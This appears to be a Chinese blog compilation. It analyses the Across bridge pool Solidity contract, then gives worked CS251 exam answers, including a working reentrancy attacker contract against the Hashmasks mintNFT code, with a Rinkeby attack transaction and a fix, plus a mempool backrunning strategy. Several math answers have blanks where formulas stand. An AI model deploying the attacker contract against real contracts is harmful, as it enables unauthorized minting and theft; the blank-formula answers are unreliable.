        uint64 _lpFeeRatePerSecond,
        bool _isWethPool,
        address _timer
    ) Testable(_timer) ERC20(_lpTokenName, _lpTokenSymbol) {
        require(bytes(_lpTokenName).length != 0 && bytes(_lpTokenSymbol).length != 0, "Bad LP token name or symbol");
        bridgeAdmin = BridgeAdminInterface(_bridgeAdmin);
        l1Token = IERC20(_l1Token);
        lastLpFeeUpdate = uint32(getCurrentTime());
        lpFeeRatePerSecond = _lpFeeRatePerSecond;
        isWethPool = _isWethPool;

        syncUmaEcosystemParams(); // Fetch OptimisticOracle and Store addresses and L1Token finalFee.
        syncWithBridgeAdminParams(); // Fetch ProposerBondPct OptimisticOracleLiveness, Identifier from the BridgeAdmin.

        emit LpFeeRateSet(lpFeeRatePerSecond);
    }

添加和删除流动性

我们首先看到添加和删除流动性,添加流动性即流动性提供者向连接池中提供 L1 代币,并获取相应数量的 LP 代币作为证明,LP 代币数量根据现行汇率计算。

    function addLiquidity(uint256 l1TokenAmount) public payable nonReentrant() {
				// 如果是 weth 池,调用发送 msg.value,msg.value 与 l1TokenAmount 相同
				// 否则,msg.value 必需为 0
        require((isWethPool && msg.value == l1TokenAmount) || msg.value == 0, "Bad add liquidity Eth value");

			  // 由于 `_exchangeRateCurrent()` 读取合约的余额并使用它更新合约状态,
				// 因此我们必需在转入任何代币之前调用
        uint256 lpTokensToMint = (l1TokenAmount * 1e18) / _exchangeRateCurrent();
        _mint(msg.sender, lpTokensToMint);
        liquidReserves += l1TokenAmount;

        if (msg.value > 0 && isWethPool) WETH9Like(address(l1Token)).deposit{ value: msg.value }();
        else l1Token.safeTransferFrom(msg.sender, address(this), l1TokenAmount);

        emit LiquidityAdded(l1TokenAmount, lpTokensToMint, msg.sender);
    }

由于合约支持 WETH 作为流动性池,因此添加流动性区分了 WETH 和其他 ERC20 代币的添加方法。

此处的难点在于 LP 代币和 L1 代币之间的汇率换算 _exchangeRateCurrent 的实现,我们从合约中提取出了 _exchangeRateCurrent 所使用的函数,包括 _updateAccumulatedLpFees_sync

	
		function _getAccumulatedFees() internal view returns (uint256) {
        uint256 possibleUnpaidFees =
            (undistributedLpFees * lpFeeRatePerSecond * (getCurrentTime() - lastLpFeeUpdate)) / (1e18);
        return possibleUnpaidFees < undistributedLpFees ? possibleUnpaidFees : undistributedLpFees;
    }

    function _updateAccumulatedLpFees() internal {
        uint256 unallocatedAccumulatedFees = _getAccumulatedFees();

        undistributedLpFees = undistributedLpFees - unallocatedAccumulatedFees;

        lastLpFeeUpdate = uint32(getCurrentTime());
    }

		function _sync() internal {
        uint256 l1TokenBalance = l1Token.balanceOf(address(this)) - bonds;
        if (l1TokenBalance > liquidReserves) {
            
            utilizedReserves -= int256(l1TokenBalance - liquidReserves);
            liquidReserves = l1TokenBalance;
        }
    }
    
		function _exchangeRateCurrent() internal returns (uint256) {
        if (totalSupply() == 0) return 1e18; // initial rate is 1 pre any mint action.

        _updateAccumulatedLpFees();
        _sync();

        int256 numerator = int256(liquidReserves) + utilizedReserves - int256(undistributedLpFees);
        return (uint256(numerator) * 1e18) / totalSupply();
    }

换算汇率等于当前合约中代币的储备与总 LP 供应量的比值,计算步骤如下:

  1. 更新自上次方法调用以来的累积LP费用 _updateAccumulatedLpFees
    1. 计算可能未付的费用 possibleUnpaidFees ,等于未分配的 Lp 费用 undistributedLpFees * 每秒 LP 费率 *(当前时间-上次更新时间),目前 WETH 桥接池中每秒LP费率为 0.0000015。
    2. 计算累积费用 unallocatedAccumulatedFees ,如果 possibleUnpaidFees 小于未分配的 Lp 费用,则所有未分配的 LP 费用都将用于累积费用;
    3. 当前未分配 LP 费用 = 原先未分配 LP 费用 - 累积费用;
  2. 计算由于代币桥接产生的余额变化
    1. 当前合约中的代币储备=当前合约中的代币数量 - 被绑定在中继过程中的代币数量;
    2. 如果当前合约中的代币储备大于流动储备 liquidReserves,则被使用的储备 utilizedReserves = 原先被使用的储备 -(当前合约中的代币储备 - 流动储备);
    3. 当前流动性储备 = 当前合约中的代币储备;
  3. 计算汇率:
    1. 经过更新之后,汇率计算的分子:流动储备 + 被使用的储备 - 未被分配 LP 费用;
    2. 分子与LP 代币总供应量的比值即为换算汇率。

利用换算汇率,可以计算得到添加 l1TokenAmount 数量的代币时所能得到的 LP 代币的数量。

对于移除流动性,过程与添加流动性相反,这里不再赘述。

    function removeLiquidity(uint256 lpTokenAmount, bool sendEth) public nonReentrant() {
        // 如果是 WETH 池,则只能通过发送 ETH 来取出流动性
        require(!sendEth || isWethPool, "Cant send eth");
        uint256 l1TokensToReturn = (lpTokenAmount * _exchangeRateCurrent()) / 1e18;

        // 检查是否有足够的流储备来支持取款金额
        require(liquidReserves >= (pendingReserves + l1TokensToReturn), "Utilization too high to remove");

        _burn(msg.sender, lpTokenAmount);
        liquidReserves -= l1TokensToReturn;

        if (sendEth) _unwrapWETHTo(payable(msg.sender), l1TokensToReturn);
        else l1Token.safeTransfer(msg.sender, l1TokensToReturn);

        emit LiquidityRemoved(l1TokensToReturn, lpTokenAmount, msg.sender);
    }

慢速中继

慢速中继,以及之后要讨论的即时中继,都会用到 DepositDataRelayData 这两个数据,前者表示存框交易的数据,后者表示中继交易的信息。

		// 来自 L2 存款交易的数据。
    struct DepositData {
        uint256 chainId;
        uint64 depositId;
        address payable l1Recipient;
        address l2Sender;
        uint256 amount;
        uint64 slowRelayFeePct;
        uint64 instantRelayFeePct;
        uint32 quoteTimestamp;
    }

		// 每个 L2 存款在任何时候都可以进行一次中继尝试。 中继尝试的特征在于其 RelayData。
    struct RelayData {
        RelayState relayState;
        address slowRelayer;
        uint32 relayId;
        uint64 realizedLpFeePct;
        uint32 priceRequestTime;
        uint256 proposerBond;
        uint256 finalFee;
    }

下面我们看到 relayDeposit 方法,这个方法由中继者调用,执行从 L2 到 L1 的慢速中继。对于每一个存款而言,只能有一个待处理的中继,这个待处理的中继不包括有争议的中继。

    function relayDeposit(DepositData memory depositData, uint64 realizedLpFeePct)
        public
        onlyIfRelaysEnabld()
        nonReentrant()
    {
				// realizedLPFeePct 不超过 50%,慢速和即时中继费用不超过25%,费用合计不超过100%
        require(
            depositData.slowRelayFeePct <= 0.25e18 &&
                depositData.instantRelayFeePct <= 0.25e18 &&
                realizedLpFeePct <= 0.5e18,
            "Invalid fees"
        );

        // 查看是否已经有待处理的中继
        bytes32 depositHash = _getDepositHash(depositData);

				// 对于有争议的中继,relays 中对应的 hash 会被删除,这个条件可以通过
        require(relays[depositHash] == bytes32(0), "Pending relay exists");

				// 如果存款没有正在执行的中继,则关联调用者的中继尝试
        uint32 priceRequestTime = uint32(getCurrentTime());

        uint256 proposerBond = _getProposerBond(depositData.amount);

        // 保存新中继尝试参数的哈希值。
        // 注意:这个中继的活跃时间(liveness)可以在 BridgeAdmin 中更改,这意味着每个中继都有一个潜在的可变活跃时间。
				// 这不应该提供任何被利用机会,特别是因为 BridgeAdmin 状态(包括 liveness 值)被许可给跨域所有者。
				RelayData memory relayData =
            RelayData({
                relayState: RelayState.Pending,
                slowRelayer: msg.sender,
                relayId: numberOfRelays++, // 注意:在将 relayId 设置为其当前值的同时增加 numberOfRelays。
                realizedLpFeePct: realizedLpFeePct,
                priceRequestTime: priceRequestTime,
                proposerBond: proposerBond,
                finalFee: l1TokenFinalFee
            });
        relays[depositHash] = _getRelayDataHash(relayData);

        bytes32 relayHash = _getRelayHash(depositData, relayData);

				// 健全性检查池是否有足够的余额来支付中继金额 + 提议者奖励。 OptimisticOracle 价格请求经过挑战期后,将在结算时支付奖励金额。
        // 注意:liquidReserves 应该总是 <= balance - bonds。
        require(liquidReserves - pendingReserves >= depositData.amount, "Insufficient pool balance");

				// 计算总提议保证金并从调用者那里拉取,以便 OptimisticOracle 可以从这里拉取它。
        uint256 totalBond = proposerBond + l1TokenFinalFee;
        pendingReserves += depositData.amount; // 在正在处理的准备中预订此中继使用的最大流动性。
        bonds += totalBond;

        l1Token.safeTransferFrom(msg.sender, address(this), totalBond);
        emit DepositRelayed(depositHash, depositData, relayData, relayHash);
    }

可以看到,存款哈希与 depositData 有关,中继哈希与 depositDatarelayData 都有关。最后我们可以看到, relayDeposit 还未实际付款给用户的 L1 地址,需要等待中继者处理,或者通过加速处理中继。

加速中继

speedUpRelay 方法立即将存款金额减去费用后转发给 l1Recipient,即时中继者在待处理的中继挑战期后获得奖励。

    // 我们假设调用者已经执行了链外检查,以确保他们尝试中继的存款数据是有效的。
		// 如果存款数据无效,则即时中继者在无效存款数据发生争议后无权收回其资金。
		// 此外,没有人能够重新提交无效存款数据的中继,因为他们知道这将再次引起争议。
		// 另一方面,如果存款数据是有效的,那么即使它被错误地争议,即时中继者最终也会得到补偿,
		// 因为会激励其他人重新提交中继,以获得慢中继者的奖励。
		// 一旦有效中继最终确定,即时中继将得到补偿。因此,调用者在验证中继数据方面与争议者具有相同的责任。
		function speedUpRelay(DepositData memory depositData, RelayData memory relayData) public nonReentrant() {
        bytes32 depositHash = _getDepositHash(depositData);
        _validateRelayDataHash(depositHash, relayData);
        bytes32 instantRelayHash = _getInstantRelayHash(depositHash, relayData);
        require(
            // 只能在没有与之关联的现有即时中继的情况下加速待处理的中继。
            getCurrentTime() < relayData.priceRequestTime + optimisticOracleLiveness &&
                relayData.relayState == RelayState.Pending &&
                instantRelays[instantRelayHash] == address(0),
            "Relay cannot be sped up"
        );
        instantRelays[instantRelayHash] = msg.sender;

        // 从调用者那里提取中继金额减去费用并发送存款到 l1Recipient。
				// 支付的总费用是 LP 费用、中继费用和即时中继费用的总和。
        uint256 feesTotal =
            _getAmountFromPct(
                relayData.realizedLpFeePct + depositData.slowRelayFeePct + depositData.instantRelayFeePct,
                depositData.amount
            );
        // 如果 L1 代币是 WETH,那么:a) 从即时中继者提取 WETH b) 解包 WETH 为 ETH c) 将 ETH 发送给接收者。
        uint256 recipientAmount = depositData.amount - feesTotal;
        if (isWethPool) {
            l1Token.safeTransferFrom(msg.sender, address(this), recipientAmount);
            _unwrapWETHTo(depositData.l1Recipient, recipientAmount);
            // 否则,这是一个普通的 ERC20 代币。 发送给收件人。
        } else l1Token.safeTransferFrom(msg.sender, depositData.l1Recipient, recipientAmount);

        emit RelaySpedUp(depositHash, msg.sender, relayData);
    }

即时中继

relayAndSpeedUp 执行即时中继。这个方法的函数内容与 relayDepositspeedUpRelay 方法是一致的,这里就不具体注释了,可以参考前文中的注释。这个函数的代码几乎是直接将 relayDepositspeedUpRelay 的代码进行了合并,代码冗余。

    // 由 Relayer 调用以执行从 L2 到 L1 的慢 + 快中继,完成相应的存款订单。
    // 存款只能有一个待处理的中继。此方法实际上是串联的 relayDeposit 和 speedUpRelay 方法。
		// 这可以重构为只调用每个方法,但是结合传输和哈希计算可以节省一些 gas。
		function relayAndSpeedUp(DepositData memory depositData, uint64 realizedLpFeePct)
        public
        onlyIfRelaysEnabld()
        nonReentrant()
    {
        uint32 priceRequestTime = uint32(getCurrentTime());

        require(
            depositData.slowRelayFeePct <= 0.25e18 &&
                depositData.instantRelayFeePct <= 0.25e18 &&
                realizedLpFeePct <= 0.5e18,
            "Invalid fees"
        );

        bytes32 depositHash = _getDepositHash(depositData);

        require(relays[depositHash] == bytes32(0), "Pending relay exists");

        uint256 proposerBond = _getProposerBond(depositData.amount);

        RelayData memory relayData =
            RelayData({
                relayState: RelayState.Pending,
                slowRelayer: msg.sender,
                relayId: numberOfRelays++, // Note: Increment numberOfRelays at the same time as setting relayId to its current value.
                realizedLpFeePct: realizedLpFeePct,
                priceRequestTime: priceRequestTime,
                proposerBond: proposerBond,
                finalFee: l1TokenFinalFee
            });
        bytes32 relayHash = _getRelayHash(depositData, relayData);
        relays[depositHash] = _getRelayDataHash(relayData);

        bytes32 instantRelayHash = _getInstantRelayHash(depositHash, relayData);
        require(
            instantRelays[instantRelayHash] == address(0),
            "Relay cannot be sped up"
        );

        require(liquidReserves - pendingReserves >= depositData.amount, "Insufficient pool balance");

        uint256 totalBond = proposerBond + l1TokenFinalFee;

        uint256 feesTotal =
            _getAmountFromPct(
                relayData.realizedLpFeePct + depositData.slowRelayFeePct + depositData.instantRelayFeePct,
                depositData.amount
            );
        uint256 recipientAmount = depositData.amount - feesTotal;

        bonds += totalBond;
        pendingReserves += depositData.amount;

        instantRelays[instantRelayHash] = msg.sender;

        l1Token.safeTransferFrom(msg.sender, address(this), recipientAmount + totalBond);

        if (isWethPool) {
            _unwrapWETHTo(depositData.l1Recipient, recipientAmount);
        } else l1Token.safeTransfer(depositData.l1Recipient, recipientAmount);

        emit DepositRelayed(depositHash, depositData, relayData, relayHash);
        emit RelaySpedUp(depositHash, msg.sender, relayData);
    }

争议

当对待处理的中继提出争议时,争议者需要想 Optimistic Oracle 提交提案,并等待争议解决。

    // 由 Disputer 调用以对待处理的中继提出争议。
		// 这个方法的结果是总是抛出中继,为另一个中继者提供处理相同存款的机会。
		// 在争议者和提议者之间,谁不正确,谁就失去了他们的质押。谁是正确的,谁就拿回来并获得一笔钱。
		function disputeRelay(DepositData memory depositData, RelayData memory relayData) public nonReentrant() {
        require(relayData.priceRequestTime + optimisticOracleLiveness > getCurrentTime(), "Past liveness");
        require(relayData.relayState == RelayState.Pending, "Not disputable");
        // 检验输入数据
        bytes32 depositHash = _getDepositHash(depositData);
        _validateRelayDataHash(depositHash, relayData);

        // 将提案和争议提交给 Optimistic Oracle。
        bytes32 relayHash = _getRelayHash(depositData, relayData);

        // 注意:在某些情况下,这会由于 Optimistic Oracle 的变化而失败,并且该方法将退还中继者。
        bool success =
            _requestProposeDispute(
                relayData.slowRelayer,
                msg.sender,
                relayData.proposerBond,
                relayData.finalFee,
                _getRelayAncillaryData(relayHash)
            );

				// 放弃中继并从跟踪的保证金中移除中继的保证金。
        bonds -= relayData.finalFee + relayData.proposerBond;
        pendingReserves -= depositData.amount;
        delete relays[depositHash];
        if (success) emit RelayDisputed(depositHash, _getRelayDataHash(relayData), msg.sender);
        else emit RelayCanceled(depositHash, _getRelayDataHash(relayData), msg.sender);
    }

其中, _requestProposeDispute 的函数内容如下:

    // 向 optimistic oracle 提议与 `customAncillaryData` 相关的中继事件的新价格为真。
		// 如果有人不同意中继参数,不管他们是否映射到 L2 存款,他们可以与预言机争议。
    function _requestProposeDispute(
        address proposer,
        address disputer,
        uint256 proposerBond,
        uint256 finalFee,
        bytes memory customAncillaryData
    ) private returns (bool) {
        uint256 totalBond = finalFee + proposerBond;
        l1Token.safeApprove(address(optimisticOracle), totalBond);
        try
            optimisticOracle.requestAndProposePriceFor(
                identifier,
                uint32(getCurrentTime()),
                customAncillaryData,
                IERC20(l1Token),
                // 将奖励设置为 0,因为在中继提案经过挑战期后,我们将直接从该合约中结算提案人奖励支出。
                0,
                // 为价格请求设置 Optimistic oracle 提议者保证金。
                proposerBond,
                // 为价格请求设置 Optimistic oracle 活跃时间。
                optimisticOracleLiveness,
                proposer,
                // 表示 "True"; 及提议的中继是合法的
                int256(1e18)
            )
        returns (uint256 bondSpent) {
            if (bondSpent < totalBond) {
                // 如果 Optimistic oracle 拉取得更少(由于最终费用的变化),则退还提议者。
                uint256 refund = totalBond - bondSpent;
                l1Token.safeTransfer(proposer, refund);
                l1Token.safeApprove(address(optimisticOracle), 0);
                totalBond = bondSpent;
            }
        } catch {
            // 如果 Optimistic oracle 中出现错误,这意味着已经更改了某些内容以使该请求无可争议。
						// 为确保请求不会默认通过,退款提议者并提前返回,允许调用方法删除请求,但 Optimistic oracle 没有额外的追索权。
            l1Token.safeTransfer(proposer, totalBond);
            l1Token.safeApprove(address(optimisticOracle), 0);

            // 提早返回,注意到提案+争议的尝试没有成功。
            return false;
        }

        SkinnyOptimisticOracleInterface.Request memory request =
            SkinnyOptimisticOracleInterface.Request({
                proposer: proposer,
                disputer: address(0),
                currency: IERC20(l1Token),
                settled: false,
                proposedPrice: int256(1e18),
                resolvedPrice: 0,
                expirationTime: getCurrentTime() + optimisticOracleLiveness,
                reward: 0,
                finalFee: totalBond - proposerBond,
                bond: proposerBond,
                customLiveness: uint256(optimisticOracleLiveness)
            });

        // 注意:在此之前不要提取资金,以避免任何不需要的转账。
        l1Token.safeTransferFrom(msg.sender, address(this), totalBond);
        l1Token.safeApprove(address(optimisticOracle), totalBond);
        // 对我们刚刚发送的请求提出争议。
        optimisticOracle.disputePriceFor(
            identifier,
            uint32(getCurrentTime()),
            customAncillaryData,
            request,
            disputer,
            address(this)
        );

        // 返回 true 表示提案 + 争议调用成功。
        return true;
    }

最后,我们来看看 settleRelay

    // 如果待处理中继价格请求在 OptimisticOracle 上有可用的价格,则奖励中继者,并将中继标记为完成。
	  // 我们使用 relayData 和 depositData 来计算中继价格请求在 OptimisticOracle 上唯一关联的辅助数据。
		// 如果传入的价格请求与待处理的中继价格请求不匹配,那么这将恢复(revert)。
		function settleRelay(DepositData memory depositData, RelayData memory relayData) public nonReentrant() {
        bytes32 depositHash = _getDepositHash(depositData);
        _validateRelayDataHash(depositHash, relayData);
        require(relayData.relayState == RelayState.Pending, "Already settled");
        uint32 expirationTime = relayData.priceRequestTime + optimisticOracleLiveness;
        require(expirationTime <= getCurrentTime(), "Not settleable yet");

        // 注意:此检查是为了给中继者一小段但合理的时间来完成中继,然后再被其他人“偷走”。
				// 这是为了确保有动力快速解决中继。
        require(
            msg.sender == relayData.slowRelayer || getCurrentTime() > expirationTime + 15 minutes,
            "Not slow relayer"
        );

        // 将中继状态更新为已完成。 这可以防止中继的任何重新设处理。
        relays[depositHash] = _getRelayDataHash(
            RelayData({
                relayState: RelayState.Finalized,
                slowRelayer: relayData.slowRelayer,
                relayId: relayData.relayId,
                realizedLpFeePct: relayData.realizedLpFeePct,
                priceRequestTime: relayData.priceRequestTime,
                proposerBond: relayData.proposerBond,
                finalFee: relayData.finalFee
            })
        );

        // 奖励中继者并支付 l1Recipient。
         // 此时有两种可能的情况:
         // - 这是一个慢速中继:在这种情况下,a) 向慢速中继者支付奖励 b) 向 l1Recipient 支付
         //   金额减去已实现的 LP 费用和慢速中继费用。 转账没有加快,所以没有即时费用。
         // - 这是一个即时中继:在这种情况下,a) 向慢速中继者支付奖励 b) 向即时中继者支付
         //   全部桥接金额,减去已实现的 LP 费用并减去慢速中继费用。
				//    当即时中继者调用 speedUpRelay 时,它们存入的金额相同,减去即时中继者费用。
				//    结果,他们实际上得到了加速中继时所花费的费用 + InstantRelayFee。

        uint256 instantRelayerOrRecipientAmount =
            depositData.amount -
                _getAmountFromPct(relayData.realizedLpFeePct + depositData.slowRelayFeePct, depositData.amount);

        // 如果即时中继参数与批准的中继相匹配,则退款给即时中继者。
        bytes32 instantRelayHash = _getInstantRelayHash(depositHash, relayData);
        address instantRelayer = instantRelays[instantRelayHash];

        // 如果这是 WETH 池并且即时中继者是地址 0x0(即中继没有加速),那么:
        // a) 将 WETH 提取到 ETH 和 b) 将 ETH 发送给接收者。
        if (isWethPool && instantRelayer == address(0)) {
            _unwrapWETHTo(depositData.l1Recipient, instantRelayerOrRecipientAmount);
            // 否则,这是一个正常的慢速中继正在完成,合约将 ERC20 发送给接收者,
						// 或者这是一个即时中继的最终完成,我们需要用 WETH 偿还即时中继者。
        } else
            l1Token.safeTransfer(
                instantRelayer != address(0) ? instantRelayer : depositData.l1Recipient,
                instantRelayerOrRecipientAmount
            );

        // 需要支付费用和保证金。费用归解决者。保证金总是归到慢速中继者。
        // 注意:为了 gas 效率,我们使用 `if`,所以如果它们是相同的地址,我们可以合并这些转账。
        uint256 slowRelayerReward = _getAmountFromPct(depositData.slowRelayFeePct, depositData.amount);
        uint256 totalBond = relayData.finalFee + relayData.proposerBond;
        if (relayData.slowRelayer == msg.sender)
            l1Token.safeTransfer(relayData.slowRelayer, slowRelayerReward + totalBond);
        else {
            l1Token.safeTransfer(relayData.slowRelayer, totalBond);
            l1Token.safeTransfer(msg.sender, slowRelayerReward);
        }

        uint256 totalReservesSent = instantRelayerOrRecipientAmount + slowRelayerReward;

        // 按更改的金额和分配的 LP 费用更新储备。
        pendingReserves -= depositData.amount;
        liquidReserves -= totalReservesSent;
        utilizedReserves += int256(totalReservesSent);
        bonds -= totalBond;
        _updateAccumulatedLpFees();
        _allocateLpFees(_getAmountFromPct(relayData.realizedLpFeePct, depositData.amount));

        emit RelaySettled(depositHash, msg.sender, relayData);

        // 清理状态存储并获得gas退款。
				// 这也可以防止 `priceDisputed()` 重置这个新的 Finalized 中继状态。
        delete instantRelays[instantRelayHash];
    }

    function _allocateLpFees(uint256 allocatedLpFees) internal {
        undistributedLpFees += allocatedLpFees;
        utilizedReserves += int256(allocatedLpFees);
    }

至此,我们分析完了 Across 合约的主要功能的代码。

合约部署

部署合约目录 deploy 下包含 8 脚本,依次部署了管理合约,WETH 桥接池,Optimism,Arbitrum和Boba的信使,以及 Arbitrum,Optimism 和 Boba 的存款合约。由于过程比较简单,这里就不仔细分析了。

deploy/
├── 001_deploy_across_bridge_admin.js
├── 002_deploy_across_weth_bridge_pool.js
├── 003_deploy_across_optimism_wrapper.js
├── 004_deploy_across_optimism_messenger.js
├── 005_deploy_across_arbitrum_messenger.js
├── 006_deploy_across_boba_messenger.js
├── 007_deploy_across_ovm_bridge_deposit_box.js
└── 008_deploy_across_avm_deposit_box.js

总结

Across 协议整体结构简单,流程清晰,支持了 Across 协议安全,快速的从 L2 向 L1 的资金转移。

代码中调用了 Optimistic Oracle 的接口来出和解决争议,对应的逻辑有空之后详说。

CS251 - final 2021 - 问题 4

问题4. [16 分]: Hashmasks 重入缺陷

在第8课和第3节中,我们讨论了 solidity 重入缺陷。在这个问题中,我们将看一个有趣的现实世界的例子。考虑下面16384个NFT中使用的 solidity 代码片段。通过调用此NFT合约上的 mintNFT() 函数,用户一次最多可以铸造20个NFT。您可以假设所有内部变量都由构造函数正确初始化(未显示)。

  function mintNFT(uint256 numberOfNfts) public payable {
    require(totalSupply() < 16384, 'Sale has already ended');
    require(numberOfNfts > 0, 'numberOfNfts cannot be 0');
    require(numberOfNfts <= 20, 'You may not buy more than 20 NFTs at once');
    require(totalSupply().add(numberOfNfts) <= 16384, 'Exceeds NFT supply');
    require(getNFTPrice().mul(numberOfNfts) == msg.value, 'Value sent is not correct');
    for (uint256 i = 0; i < numberOfNfts; i++) {
      uint256 mintIndex = totalSupply(); // get number of NFTs issued so far
      _safeMint(msg.sender, mintIndex); // mint the next one
    }
  }

  function _safeMint(address to, uint256 tokenId) internal virtual override {
    // Mint one NFT and assign it to address(to).
    require(!_exists(tokenId), 'ERC721: token already minted');
    _data = _mint(to, tokenId); // mint NFT and assign it to address to
    _totalSupply++; // increment totalSupply() by one
    if (to.isContract()) {
      // Confirm that NFT was recorded properly by calling
      // the function onERC721Received() at address(to).
      // The arguments to the function are not important here.
      // If onERC721Received is implemented correctly at address(to) then
      // the function returns _ERC721_RECEIVED if all is well.
      bytes4 memory retval = IERC721Receiver(to).onERC721Received(to, address(0), tokenId, _data);
      require(retval == _ERC721_RECEIVED, 'NFT Rejected by receiver');
    }
  }

让我们证明 _safeMint 根本不安全(尽管它的名字是安全)。

A)    假设已经铸造了16370个NFT,那么 totalSupply()=16370。请解释恶意合约如何导致超过16384个NFT被伪造。攻击者最多可以造出多少个NFT?

提示:如果在调用地址 onERC721Received 是恶意的,结果会怎样?请仔细检查铸币回路,并考虑重入缺陷。

答: 在已经 mint 16370 个NFT基础上,调用 mingNFT 可传入的最大 numberOfNfts 为 14 可以通过 mintNFT 开始五行的限制,当上述合约在调用地址 to 上的 onERC721Received 函数时,这个函数可以再次调用上述 mingNFT 函数,此时,在原来已经 mint 一个的基础上,传入的 numberOfNfts 为 13 个可以通过 mintNFT 的限制,然后重复同样的过程,依次可以 mint 12, 11 直到 1,最后在函数内部,已经没有其他限制,故这些数量的 NFT 均可以被 mint,所以理论上总共可以 mint 的数量为

B)    假设现在总供给的价值是16370,请写出实施对(a)部分进行攻击的恶意Solidity合约代码。

答:

contract Attacker is IERC721Receiver {
  Hashmasks hashmasks;

  constructor(address _hashmasksAddress) {
    hashmasks = Hashmasks(_hashmasksAddress);
  }

  function attack() public payable{
    {
      uint256 num = hashmasks.balanceOf(address(this));
      // console.log("num: ", num);
      if (num < 14) {
        // 16384 - 16370 = 14
        hashmasks.mintNFT{value: 14-num}(14 - num);
      }
    }
  }

  function onERC721Received(
    address _from,
    address _to,
    uint256 _tokenId,
    bytes memory _data
  ) external returns (bytes4) {
    attack();
    return msg.sig;
  }
}

其中 attack 设置为 payable 是因为需要通过攻击合约调用 mintNFT 函数,需要发送一定数量的以太,可以选择在部署后先发送一定数量的以太到攻击者合约中,也可以将 attack 设置成 payable,在攻击的交易中发送以太到

实验:在 Rinkeby 上部署,攻击者合约地址为 0xf1eb80Bb66A70E44d42B3ceC0bC18Ec28B5F2Ea8,实际攻击的交易:https://rinkeby.etherscan.io/tx/0xb90496fd8789c3d1800df1bd3a571d019fb6158cbd521a9d05e57ad62460d15f,这个部署的合约中,NFT的价格设置为 1 wei,所以理论上只要发送 105 wei 到攻击这合约中,但是保险起见,发送了150wei,最后也可以看到攻击这合约中还剩下 45 wei。

C)    你会在前一页的代码中添加或更改哪一行Solidity来防止你的攻击?请注意,单个交易不应该铸造超过20个NFT。

答: 可以将 _safeMint 方法中, _totalSupply++; 这一行放到验证 NFT 的调用之后:

  function _safeMint(address to, uint256 tokenId) internal virtual override {
    // Mint one NFT and assign it to address(to).
    require(!_exists(tokenId), 'ERC721: token already minted');
    _data = _mint(to, tokenId); // mint NFT and assign it to address to
    
    if (to.isContract()) {
      // Confirm that NFT was recorded properly by calling
      // the function onERC721Received() at address(to).
      // The arguments to the function are not important here.
      // If onERC721Received is implemented correctly at address(to) then
      // the function returns _ERC721_RECEIVED if all is well.
      bytes4 memory retval = IERC721Receiver(to).onERC721Received(to, address(0), tokenId, _data);
      require(retval == _ERC721_RECEIVED, 'NFT Rejected by receiver');
    }
	_totalSupply++; // increment totalSupply() by one
  }

这样,当合约被重入攻击时,由于 _totalSupply 还没有增加,因此在第二次进入 mintNFT 函数时 mintIndex 的值是第一次 mint 的值,会导致触发 'ERC721: token already minted' 这个错误,有效保证合约安全。

    for (uint256 i = 0; i < numberOfNfts; i++) {
      uint256 mintIndex = totalSupply(); // get number of NFTs issued so far
      _safeMint(msg.sender, mintIndex); // mint the next one
    }

验证交易: https://rinkeby.etherscan.io/tx/0xa5f70a226c5fd64132eee800f8902ddb9b4ff562ff7f37820d11746fbde52acb

感谢 discord yyczz#5837 对于这个问题的指导。

CS251 - final 2021 - 问题 3

问题3(20分): Automated market maker (AMM).

你作为Uniswap V2的流动性提供者,为DAI/ETH池贡献5个ETH及5000个DAI。假设1个DAI值1美元,那么你的出资总额为1万美元。

A)    几个月后,1个ETH的价格上升到2000 DAI。在DAI/ETH池适应这个新的汇率稳定下来以后,您决定撤回作为流动性提供者的全部份额。假设系统不收费(∅= 1),你会收到多少ETH和DAI ?

答: 假设初始时流动性池中 ETH 和 DAI 的数量为,提供的5个 ETH 和5000个 DAI 流动性占比为 ,则此时边际价格(marginal price)为

设价格变化之后流动性池中 ETH 和 DAI 的数量为 ,则有

根据恒定乘积公式 ,以及 ,可以推出:

由于流动性占比不变,所以取回的 ETH 为 ,DAI 为

故可以收到 3.5355 ETH 和 7071.0678 DAI

B)    如果你自己持有你的5 ETH和5000 DAI,你的资产现在将价值15K DAI,获取了5000 DAI的利润。在这几个月里,作为Uniswap V2的流动性提供者,与“自己持有”策略相比,你的损失是多少? 将损失以美元的绝对值表示,假设1 DAI = 1 USD。这被称为暂时性损失,尽管在这种情况下,这种损失是相当永久性的。

答: 按目前的价格,收回的 ETH 和 DAI 的价值为 ,损失为 ,损失率为 ,故损失 857.9322 USD。

C)    如果您因担任Uniswap V2的流动性提供者而损失了x美元,Uniswap V2是用部分(b)计算x的,那么这些资金流向了哪里?具体来说,就是谁在这个过程中获得了x美元?

答: 这些损失将会由套利交易者获得。当外部 ETH 价格上升时,套利交易者会通过向 ETH/DAI 池中添加 DAI 取出 ETH 来使得池中的 ETH 价格比例达到外部 ETH 价格,由于池中流动性乘积恒定,因此取出的 ETH 的套利利润即为流动性提供者的损失。

D)     现在让我们转向使用Uniswap V2 交易。假设Bob使用DAI/ETH池将DAI兑换成ETH进行大型 交易。交易完成后,DAI/ETH池中的DAI金额比之前略高,而ETH的金额则略低。因此,DAI/ETH  池中的资产比率有点偏离其平衡点。

套利者Alice发现了这个机会,并希望在反方向发行一个交易,以重新平衡资金池。她旨在从这笔交易中获利,所以希望确保她的交易在Bob交易后被立即执行。这种策略被称为“尾随”。

那么Alice如何能实施尾随计划呢?请提出可以使Alice的交易在Bob之后可以有合理机会被立即被执行的方法。

答: Alice 可以利用一定量账户和一个合约来使得其交易在Bob交易之后被立即执行,具体步骤为:

  1. Alice 部署一个合约,这个合约可以提交交易,并预先存入用于交易的ETH;
  2. 准备一定数量的账户,账户中存入可用以支付gas的ETH;
  3. Alice 监听以太坊的交易池,当监听到 Bob 的交易时,通过每一个账户调用部署的合约广播一个交易,这个交易的 gas 价格等于 Bob 交易的 gas 价格。

由于以太坊中矿工在打包交易时是根据交易的gas价格高低进行的,这样将会使得 Alice 广播的交易有机会处于 Bob 交易的后的第一个交易,从而达到获利机会。

E)      假设10个不同的套利者,为捕获Bob的交易创造的套利机会, 在同一时间执行了相同的尾随操作策略。他们都使用了你在(D)部分中所描述的相同机制,那么这10个中的哪一个会获胜呢?

答: 由于以太坊中矿工在打包交易时是根据交易的 gas 价格高低进行的,因此对于所有 gas 价格和Bob的交易的 Gas 价格一致的交易,都有能被排序在Bob交易之后,所以这些交易中处在 Bob 交易之后的第一个交易将获利,对应的套利者获胜。

如何创建一个代币承销商 dApp

